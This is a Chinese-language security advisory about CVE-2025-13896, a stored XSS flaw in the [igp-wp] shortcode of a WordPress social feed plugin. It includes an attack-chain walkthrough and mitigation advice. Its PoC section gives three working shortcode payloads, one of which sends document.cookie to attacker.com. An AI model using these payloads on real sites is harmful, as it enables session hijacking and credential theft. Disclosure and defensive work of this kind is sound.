IPBUF安全漏洞报告
English
CVE-2025-13896 CVSS 6.4 中危

CVE-2025-13896 WordPress Social Feed Gallery Portfolio插件存储型XSS漏洞

披露日期: 2025-12-06

漏洞信息

漏洞编号
CVE-2025-13896
漏洞类型
存储型XSS
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Social Feed Gallery Portfolio plugin for WordPress

相关标签

WordPress存储型XSSCVE-2025-13896Social Feed Gallery Portfolio短代码注入权限提升网络安全Web安全

漏洞概述

CVE-2025-13896是WordPress平台Social Feed Gallery Portfolio插件中的一个高危安全漏洞。该插件是一款用于在WordPress网站中展示社交媒体动态和作品集的功能插件。漏洞存在于插件的短代码处理功能中,具体为[igp-wp]短代码的'id'参数。由于插件在处理用户输入时未进行充分的输入清理和输出转义,攻击者可以通过在短代码参数中注入恶意JavaScript脚本实现存储型跨站脚本攻击(Stored XSS)。攻击者利用该漏洞需要具备WordPress网站的Contributor级别或更高权限。恶意脚本会被永久存储在网站的数据库中,当其他用户访问包含恶意内容的页面时,注入的脚本将在受害者浏览器中执行,可能导致会话劫持、敏感信息窃取、管理员凭据泄露等严重后果。此漏洞影响该插件1.3及以下所有版本,CVSS评分6.4,属于中等严重程度。由于该漏洞的存储特性,攻击一旦成功,所有访问受影响页面的用户都会受到威胁,潜在影响范围较广。

技术细节

漏洞根源在于Social Feed Gallery Portfolio插件的短代码处理逻辑存在安全缺陷。具体问题位于插件的class-portfolio-shortcode.php文件中,第58行和第208行附近的代码未对[igp-wp]短代码的'id'参数进行适当的输入验证和输出编码。当攻击者以Contributor或更高权限用户身份在页面或文章中插入类似[igp-wp id='" onmouseover="alert(document.domain)" ']的短代码时,未经处理的恶意载荷会被存储到WordPress数据库中。随后当其他用户访问包含该短代码的页面时,服务器从数据库读取并输出未转义的内容,浏览器将其解析为HTML/JavaScript执行。攻击者可以利用此漏洞窃取用户Cookie、劫持会话、执行任意UI操作诱骗用户。修复方案应在输出点使用htmlspecialchars()或esc_html()等函数对所有用户可控输入进行转义,同时在输入点实施严格的 whitelist 验证。

攻击链分析

STEP 1
Reconnaissance
攻击者首先识别目标WordPress网站是否安装并启用Social Feed Gallery Portfolio插件,版本在1.3或以下
STEP 2
Account Compromise
攻击者获取目标网站的WordPress账户,需要至少具备Contributor级别权限(可通过钓鱼、凭据填充或内部人员协助获得)
STEP 3
Payload Crafting
攻击者构造恶意短代码,在[igp-wp]的id参数中注入XSS payload,如使用事件处理器或script标签执行JavaScript代码
STEP 4
Injection
攻击者在页面或文章编辑器中插入包含恶意载荷的短代码并发布,payload被存储到WordPress数据库中
STEP 5
Execution
当其他用户(管理员、编辑、访客等)访问包含该短代码的页面时,服务器从数据库读取并输出未转义的内容,浏览器执行注入的JavaScript代码
STEP 6
Impact
攻击者成功执行JavaScript后可窃取用户会话Cookie、劫持账户、执行UI诱骗攻击获取管理员凭据或进行进一步横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-13896 PoC: Stored XSS via [igp-wp] shortcode id parameter --> <!-- Author: Contributor+ level WordPress user --> <!-- This PoC demonstrates the stored XSS vulnerability in Social Feed Gallery Portfolio plugin <= 1.3 --> <!-- Method 1: Basic XSS payload in shortcode --> [igp-wp id='1" onmouseover="alert(document.cookie)" style="width:100%;height:100%;position:fixed;top:0;left:0;background:white;z-index:9999" x='1'] <!-- Method 2: Event handler based XSS --> [igp-wp id='1<img src=x onerror=alert(String.fromCharCode(88,83,83))>'] <!-- Method 3: Script tag injection --> [igp-wp id='1</script><script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'] <!-- Note: The id parameter value is stored and reflected without proper sanitization --> <!-- When any user visits the page containing this shortcode, the XSS payload executes -->

影响范围

Social Feed Gallery Portfolio plugin for WordPress <= 1.3

防御指南

临时缓解措施
如果无法立即更新插件,可采取以下临时缓解措施:1) 临时禁用Social Feed Gallery Portfolio插件;2) 限制新用户注册为Contributor或以上角色;3) 审核现有Contributor+权限用户,对可疑账户进行隔离;4) 在Web应用防火墙(WAF)上配置XSS防护规则,拦截包含[igp-wp]短代码的恶意请求;5) 加强对WordPress管理员账户的多因素认证防护,降低账户被劫持的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表